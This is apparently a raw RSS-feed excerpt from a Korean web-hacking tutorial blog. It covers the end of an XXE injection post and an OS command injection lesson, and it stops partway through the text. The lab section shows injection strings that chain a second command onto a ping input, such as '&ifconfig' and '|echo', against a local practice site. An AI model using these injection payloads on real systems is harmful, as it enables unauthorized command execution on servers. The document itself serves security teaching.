&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1091&quot; data-origin-height=&quot;733&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cst1vM/btsLFf3W6kI/T1982mAaYelF9LHbkling1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cst1vM/btsLFf3W6kI/T1982mAaYelF9LHbkling1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cst1vM/btsLFf3W6kI/T1982mAaYelF9LHbkling1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcst1vM%2FbtsLFf3W6kI%2FT1982mAaYelF9LHbkling1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1091&quot; height=&quot;733&quot; data-origin-width=&quot;1091&quot; data-origin-height=&quot;733&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DTD 선언 및 내부 개체 참조는 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 XML 코드를 입력 후 파싱한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY str &quot;XXE Injection Secure Coding Complete&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 입력한 문자열이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1082&quot; data-origin-height=&quot;659&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMBGdz/btsLC4wfWHu/oW7jw5uHAKBejmNRNCh6C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMBGdz/btsLC4wfWHu/oW7jw5uHAKBejmNRNCh6C1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMBGdz/btsLC4wfWHu/oW7jw5uHAKBejmNRNCh6C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMBGdz%2FbtsLC4wfWHu%2FoW7jw5uHAKBejmNRNCh6C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1082&quot; height=&quot;659&quot; data-origin-width=&quot;1082&quot; data-origin-height=&quot;659&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 어플리케이션이 있다면 취약 여부를 테스트 후, 각 어플리케이션에 맞는 시큐어 코딩 구문을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 어플리케이션마다 적용하는 방법이 다르며, 특히 SQL Injcetion, XSS, 파일 업로드/다운로드 공격은 어플리케이션이 달라도 공통적인 방법이 있으니 각각의 공격방법 및 대응방안을 숙지하도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XXE&amp;nbsp;Injection&amp;nbsp;3줄&amp;nbsp;요약 &lt;br /&gt;-&amp;nbsp;XML&amp;nbsp;이라는&amp;nbsp;데이터&amp;nbsp;형식을&amp;nbsp;사용하는&amp;nbsp;어플리케이션&amp;nbsp;기능에&amp;nbsp;외부&amp;nbsp;개체를&amp;nbsp;주입하는&amp;nbsp;공격 &lt;br /&gt;- SYSTEM 키워드 사용하여 외부 개체 참조하여 서버 내 파일 열람&lt;br /&gt;- 대응방안: JSON으로 데이터 형식 기능 구현, DTD 및 외부 엔티티 비활성화, XML Parser 기능 제거&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>XML</category>
      <category>XXE Injection</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/207</guid>
      <comments>https://it-log.tistory.com/207#entry207comment</comments>
      <pubDate>Sat, 4 Jan 2025 22:00:39 +0900</pubDate>
    </item>
    <item>
      <title>OS Command Injection</title>
      <link>https://it-log.tistory.com/206</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) OS Command Injection이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어(운영체제 명령어)를 주입하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값에 시스템 명령어를 주입해서 원격으로 시스템 명령어를 실행할 수 있는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자 의도대로 서버를 제어할 수 있게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1434&quot; data-origin-height=&quot;652&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc8V9i/btsLCEXQDLS/pewXXyUpdqzvjVCe6kKAS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc8V9i/btsLCEXQDLS/pewXXyUpdqzvjVCe6kKAS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc8V9i/btsLCEXQDLS/pewXXyUpdqzvjVCe6kKAS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc8V9i%2FbtsLCEXQDLS%2FpewXXyUpdqzvjVCe6kKAS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1434&quot; height=&quot;652&quot; data-origin-width=&quot;1434&quot; data-origin-height=&quot;652&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버에 대해 제어권을 얻는다 = 시스템 명령어 실행이 가능하다 = 서버 내 중요정보 열람, 수정, 삭제 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 공격을 통해 웹 서버가 랜섬웨어 공격의 유포지로 활용될 수 있으며, 서버 내 중요파일이 랜섬웨어에 감염될수도 있다. 데이터베이스로 침투, 내부망에 침투하여 기밀 정보를 열람, 직원 PC를 감염시키는 등의 다양한 추가 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 이러한 공격을 통해 기업으로부터 돈을 뜯어낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어 실행을 통해서 단순히 해당 공격에서 끝나는 것이 아닌 2차, 3차 피해가 추가로 발생할 가능성이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 취약점과 비슷한 영향력을 가지고 있다. (웹쉘의 주요기능 - 시스템 명령어 실행)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 대상&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oBWvq/btsLDlJ3DQg/7Ok5QkKW3fY0wvNDJKKfGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oBWvq/btsLDlJ3DQg/7Ok5QkKW3fY0wvNDJKKfGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oBWvq/btsLDlJ3DQg/7Ok5QkKW3fY0wvNDJKKfGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoBWvq%2FbtsLDlJ3DQg%2F7Ok5QkKW3fY0wvNDJKKfGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1087&quot; height=&quot;644&quot; data-origin-width=&quot;1087&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Injection 공격은 기능에 따라 발생되는 취약점이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 어플리케이션과 DB가 연결된 기능에 대해서 사용자 입력값에 SQL 구문을 삽입하여 공격을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DB와 연결을 통해 값을 얻어와서 사용자에게 값을 반환하는 기능을 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS Command Injection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자 입력값을 통해서 시스템 명령을 실행할 수 있는 기능에, 시스템 명령어를 삽입하여 공격을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 관리자 콘솔에서 사용하는 시스템 명령어 실행 기능을 이용한다. (백업, 특정 IP에 ping 요청 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 일반적인 웹 사이트에서는 OS Command Injection 취약점을 발견하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) SQL Injection vs OS Command Injection&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&amp;gt;&amp;gt; 위험도가 높은 취약점은?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection vs OS Command Injection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위험도는 OS Command Injection이 더 높다. (시스템 명령어를 삽입하기 때문에)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 2개의 공격은 삽입되는 페이로드 및 공격자가 얻을 수 있는 결과물이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차이점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection &amp;rarr; SQL 구문을 삽입하는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS Command Injection &amp;rarr; 시스템 명령어를 삽입하는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 행위&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection &amp;rarr; 중요 데이터 탈취&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS Command Injection &amp;rarr; 중요 데이터 탈취, 인접 네트워크 침투, 해당 서버 점유 등&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;OS Command Injection이 SQL Injection보다 위험도가 높은데 SQL Injection이 더 주목받는 이유는 무엇일까?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; OS Command Injection이 발생하기 위한 조건은 사용자 입력값을 통해 시스템 명령어를 실행하는 기능이 있어야 한다. 하지만 일반적인 웹 사이트에는 이런 기능이 존재하지 않고 드물게 관리자 콘솔에 이런 기능이 존재하므로 취약점 발생 확률이 굉장히 낮다. 오늘날의 대부분 웹 서비스는 DB를 사용하므로 SQL Injection이 취약점 발생 확률이 훨씬 높다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 방화벽 등장 이후 80/443 포트만 허용하게 되어 웹 해킹이 주목받게 되는 이유와 유사하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1. 공격자는 사용자 입력값에 시스템 명령어를 주입&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2. 사용자 입력값 + 주입된 시스템 명령어를 조합&amp;nbsp;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(입력 값 검증 없는 경우)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3. 서버에 시스템 명령어를 보내 결과를 반환받는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;571&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A2U58/btsLC4IwpAL/apVvGuB6Vkt1Ig9iYYKRjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A2U58/btsLC4IwpAL/apVvGuB6Vkt1Ig9iYYKRjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A2U58/btsLC4IwpAL/apVvGuB6Vkt1Ig9iYYKRjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA2U58%2FbtsLC4IwpAL%2FapVvGuB6Vkt1Ig9iYYKRjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1083&quot; height=&quot;571&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분 Command Injection 공격이 가능한 곳은 관리자 페이지가 많은데, 관리자 페이지는 입력값 검증이 소홀할 수 있다. (인증절차를 거치고 들어오는 인가된 사용자라는 판단하에 보안에 소홀할 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1317&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KcDFD/btsLAAI68IV/6KvDPVkuFkXEQgBDvALk20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KcDFD/btsLAAI68IV/6KvDPVkuFkXEQgBDvALk20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KcDFD/btsLAAI68IV/6KvDPVkuFkXEQgBDvALk20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKcDFD%2FbtsLAAI68IV%2F6KvDPVkuFkXEQgBDvALk20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1317&quot; height=&quot;599&quot; data-origin-width=&quot;1317&quot; data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한줄에서 다수의 시스템 명령어를 주입하기 위해서 메타 문자를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메타 문자를 사용하여 기존의 명령어를 수행하고 난 후에 공격자가 원하는 명령어를 수행하도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nslookup www.test.co.kr &amp;amp; ifconfig&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &amp;amp; 를 사용하여 www.test.co.kr&amp;nbsp;에 대한 IP를 출력 후, ifconfig로 해당 시스템의 IP를 출력하도록 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습3-1 OS Command Injection 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습을 위해 127.0.0.1/insecure_website 접속 후 admin 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 모의해킹을 하거나 웹 취약점 진단을 할때 관리자 페이지를 단독으로 진단하는 경우가 있으며, 일반적으로 계정을 제공받고 진단을 하게 된다. 사용자 입력값을 통해서 시스템 명령을 실행하는 기능은 일반 웹 사이트에는 보통 존재하지 않지만, 모의해킹을 할때 일반 웹 사이트를 진단하다보면 관리자 페이지를 찾게 된다. 이런 경우 시나리오 기반의 공격이 가능하다. SQL Injection을 통해서 관리자 페이지에 관리자로 로그인 후 추가 취약점을 탐색할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 상단의 Ping Check를 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqBCl9/btsLDczOnDT/qByT89qKT00huoF9KKqO00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqBCl9/btsLDczOnDT/qByT89qKT00huoF9KKqO00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqBCl9/btsLDczOnDT/qByT89qKT00huoF9KKqO00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqBCl9%2FbtsLDczOnDT%2FqByT89qKT00huoF9KKqO00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;481&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력칸을 보니 IP 입력을 통해 해당 서버를 헬스 체크 하는 용도로 사용하는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1 을 입력 후 Check를 클릭한다. (CMD 에서 ipconfig를 통해 확인한 로컬 사설 IP)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;778&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX7vos/btsLCDxOmsG/L1DDkueZEsvGU6thNzyEAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX7vos/btsLCDxOmsG/L1DDkueZEsvGU6thNzyEAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX7vos/btsLCDxOmsG/L1DDkueZEsvGU6thNzyEAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX7vos%2FbtsLCDxOmsG%2FL1DDkueZEsvGU6thNzyEAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;778&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;778&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvddUr/btsLDt2mQTD/HNK0y6b0x1kuLK64mrclz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvddUr/btsLDt2mQTD/HNK0y6b0x1kuLK64mrclz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvddUr/btsLDt2mQTD/HNK0y6b0x1kuLK64mrclz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvddUr%2FbtsLDt2mQTD%2FHNK0y6b0x1kuLK64mrclz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;203&quot; data-origin-width=&quot;439&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD에서 ping 192.168.56.1 을 입력한 것과 동일한 결과라는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;amp; 또는 | 메타 문자를 입력 후 추가 명령어를 삽입해본다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;amp; (앰퍼센트) 를 사용하면 이전 명령어 실행 후 출력, 뒤에 명령어도 실행하여 출력한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;| (파이프) 를 사용하면 이전 명령어는 실행은 되지만 출력되지 않고 뒤에 명령어만 출력된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;echo는 텍스트를 출력하는 명령어다. echo를 통해서 Command Injection 여부를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1&amp;amp;echo &quot;test&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1|echo &quot;test&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;921&quot; data-origin-height=&quot;782&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciHp0C/btsLDt88FUu/Y9Jd1cKJhd1sSdoVHvKm6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciHp0C/btsLDt88FUu/Y9Jd1cKJhd1sSdoVHvKm6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciHp0C/btsLDt88FUu/Y9Jd1cKJhd1sSdoVHvKm6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciHp0C%2FbtsLDt88FUu%2FY9Jd1cKJhd1sSdoVHvKm6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;921&quot; 